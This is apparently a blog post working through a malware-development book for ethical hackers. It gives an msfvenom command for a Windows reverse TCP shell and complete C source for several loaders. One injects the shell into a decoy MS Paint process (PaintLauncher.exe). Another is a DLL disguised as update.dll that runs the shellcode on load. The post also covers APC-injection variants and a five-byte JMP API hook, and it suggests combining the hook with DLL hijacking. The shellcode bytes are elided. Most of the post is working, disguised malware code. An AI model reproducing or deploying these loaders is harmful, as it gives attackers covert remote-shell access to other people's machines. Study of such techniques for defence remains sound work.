Continued series from the Malware Development for Ethical Hackers Book.
The first part of this chapter deals with process and DLL injection. I will break the APC injection and API hooking
Process Injection
I followed the book in generating a reverse shell payload using msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST-10.0.3.4 LPORT=4444 -f c
This provides an unsigned char buf[] that can be pasted into C code. The original code also requires manually spawning the appropriate process and specifying the PID to inject. Instead, I made a modification to automatically spawn a process and grab the ID to use. Now, when the executable, which I cleverly named PaintLauncher.exe is ran, a copy of MS Paint is launched. In the background, a secret terminal is also launched with it which allows our reverse shell to connect:

/*
Proc Injection of Reverse TCP
19 Jan 2025
Eric
To build: x86_64-w64-mingw32-gcc 02_proc_injection.c -o PaintLauncher.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
// created with msfvenom, truncated for web view
unsigned char payload[] = "...";
// get size of payload to determine buffer size during injection
unsigned int payload_length = sizeof(payload);
int main(){
STARTUPINFO si; // declaration for startupinfo
PROCESS_INFORMATION pi; // declaration for procinfo
HANDLE process_handle; // Handle for the target process
HANDLE remote_thread; // Handle for the remote thread
PVOID remote_buffer; // Buffer in the remote process
// Initialize the STARTUPINFO structure
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//attempt to launch the mspaint decoy process
if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
// grab proc id
printf("Process created successfully!\n");
printf("Process ID: %lu\n", pi.dwProcessId);
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
// alloc mem for the payload
remote_buffer = VirtualAllocEx(process_handle, NULL, payload_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// copy payload into buffer
WriteProcessMemory(process_handle, remote_buffer, payload, payload_length, NULL);
// Create a remote thread to start payload
remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
// clean up payload handle
CloseHandle(process_handle);
// clean up our decoy process
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else{
printf("CreateProcess failed (%lu).\n", GetLastError());
}
return 0;
}
This also shows the connection via System Informer, under the network tab, as mspaint.exe:

DLL Injection
The book uses a MessageBox code to display for the DLL Injection. I instead modified this to instead have my DLL spawn a reverse shell, like before.
/*
DLL for DLL Injection
19 Jan 2025
Eric
To build: x86_64-w64-mingw32-g++ -shared -o update.dll 02_dll.c -fpermissive
*/
#include <windows.h>
unsigned char payload[] = "...";
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH: {
// Allocate memory for the shellcode
void* exec_mem = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem) {
// Copy the shellcode to the allocated memory
memcpy(exec_mem, payload, sizeof(payload));
// Create a thread to execute the shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (hThread) {
CloseHandle(hThread); // Cleanup
}
}
break;
}
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Next, I repurposed the same code as before to auto-launch mspaint, but instead we attach the DLL.
/*
Proc Injection of Reverse TCP
19 Jan 2025
Eric
To build: x86_64-w64-mingw32-gcc 02_dll_injection.c -o PaintLauncherDLL.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
char maliciousDLL[] = "C:\\update.dll";
unsigned int dll_length = sizeof(maliciousDLL) + 1;
int main(){
STARTUPINFO si; // declaration for startupinfo
PROCESS_INFORMATION pi; // declaration for procinfo
HANDLE process_handle; // Handle for the target process
HANDLE remote_thread; // Handle for the remote thread
PVOID remote_buffer; // Buffer in the remote process
// Initialize the STARTUPINFO structure
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//attempt to launch the mspaint decoy process
if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
// Handle to kernel32 and pass it to GetProcAddress
HMODULE kernel32_handle = GetModuleHandle("Kernel32");
VOID *lbuffer = GetProcAddress(kernel32_handle, "LoadLibraryA");
// grab proc id
printf("Process created successfully!\n");
printf("Process ID: %lu\n", pi.dwProcessId);
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);
// alloc mem for the payload
remote_buffer = VirtualAllocEx(process_handle, NULL, dll_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// copy payload into buffer
WriteProcessMemory(process_handle, remote_buffer, maliciousDLL, dll_length, NULL);
// Create a remote thread to start payload
remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)lbuffer, remote_buffer, 0, NULL);
// clean up payload handle
CloseHandle(process_handle);
// clean up our decoy process
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else{
printf("CreateProcess failed (%lu).\n", GetLastError());
}
return 0;
}
And again, we have reverse shell, with the actual shellcode now in an update.dll hidden elsewhere instead of in the executable itself:

The memory view of mspaint.exe shows our C:\\update.dll running:

APC Injection
The APC injection is very similar to the samples I modified above. It starts a process via C, buit instead starts it in a suspended state. The payload is still copied into the memory as before, however instead of using CreateRemoteThread, a PTHREAD_START_ROUTINE in conjunction with a QueueUserAPC call is used to execute the shell code. Comparison of the difference of proc injection vs APC injection side-by-side, it is very similar.
// dll injection
int main() {
// Create a 64-bit process:
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
LPVOID myPayloadMem;
SIZE_T myPayloadLen = sizeof(myPayload);
LPCWSTR cmd;
HANDLE processHandle, threadHandle;
NTSTATUS status;
ZeroMemory(&startupInfo, sizeof(startupInfo));
ZeroMemory(&processInfo, sizeof(processInfo));
startupInfo.cb = sizeof(startupInfo);
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
0, NULL, NULL, &startupInfo, &processInfo
);
processHandle = processInfo.hProcess;
// Allocate memory for payload
myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write payload to allocated memory
WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL);
threadHandle = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)myPayloadMem , NULL, 0, NULL);
return 0;
}
//apc injection
int main() {
// Create a 64-bit process:
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
LPVOID myPayloadMem;
SIZE_T myPayloadLen = sizeof(myPayload);
LPCWSTR cmd;
HANDLE processHandle, threadHandle;
NTSTATUS status;
ZeroMemory(&startupInfo, sizeof(startupInfo));
ZeroMemory(&processInfo, sizeof(processInfo));
startupInfo.cb = sizeof(startupInfo);
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo
);
// Allow time to start/initialize.
WaitForSingleObject(processInfo.hProcess, 50000);
processHandle = processInfo.hProcess;
threadHandle = processInfo.hThread;
// Allocate memory for payload
myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write payload to allocated memory
WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL);
// Inject into the suspended thread.
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)myPayloadMem;
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, (ULONG_PTR)NULL);
// Resume the suspended thread
ResumeThread(threadHandle);
return 0;
}
API Hooking
I did not re-create these examples, as they were simple message box manipulations. The example for API hooking uses a five-byte hook to overwrite the call with a JMP to the custom code, and then execute the custom code.
The original function call address is calculated. Then using memcpy, \xE9 for JMP is loaded into memory along with the offset for the address of the modified function address. Using a new function, a separate library is then loaded and called instead.
In the example, (originalCatFunc)("meow-squeak-tweet!!!") is called instead of the intended (originalCatFunc)("meow-meow").
//excerpt of the C example code
int __stdcall myModifiedCatFunction(LPCTSTR modifiedMessage) {
HINSTANCE petDll;
OriginalCatFunction originalCatFunc;
// unhook the function: restore the original bytes
WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, originalBytes, 5, NULL);
// load the original function and modify the message
petDll = LoadLibrary("pet.dll");
originalCatFunc = (OriginalCatFunction)GetProcAddress(petDll, "Cat");
return (originalCatFunc)("meow-squeak-tweet!!!");
}
// logic for installing the hook
void installMyHook() {
HINSTANCE hLib;
VOID *myModifiedFuncAddress;
DWORD *relativeOffset;
DWORD source;
DWORD destination;
CHAR patch[5] = {0};
// obtain the memory address of the original Cat function
hLib = LoadLibraryA("pet.dll");
hookedFunctionAddress = GetProcAddress(hLib, "Cat");
// save the first 5 bytes into originalBytes buffer
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)hookedFunctionAddress, originalBytes, 5, NULL);
// overwrite the first 5 bytes with a jump to myModifiedCatFunction
myModifiedFuncAddress = &myModifiedCatFunction;
// calculate the relative offset for the jump
source = (DWORD)hookedFunctionAddress + 5;
destination = (DWORD)myModifiedFuncAddress;
relativeOffset = (DWORD *)(destination - source);
// \xE9 is the opcode for a jump instruction
memcpy(patch, "\xE9", 1);
memcpy(patch + 1, &relativeOffset, 4);
WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, patch, 5, NULL);
}
This could be utilized to intercept a library call and replace it with our own. I think this, in conjunction with DLL hijacking could be beneficial. If a compromised DLL is loaded before the legitimate DLL, it could have similar code to above to make an application perform operations that were not original intended. I think in terms of the sample code, it defeats the purpose a bit to have the overwrite in the same app as the regular function call, but it is just for learning purposes.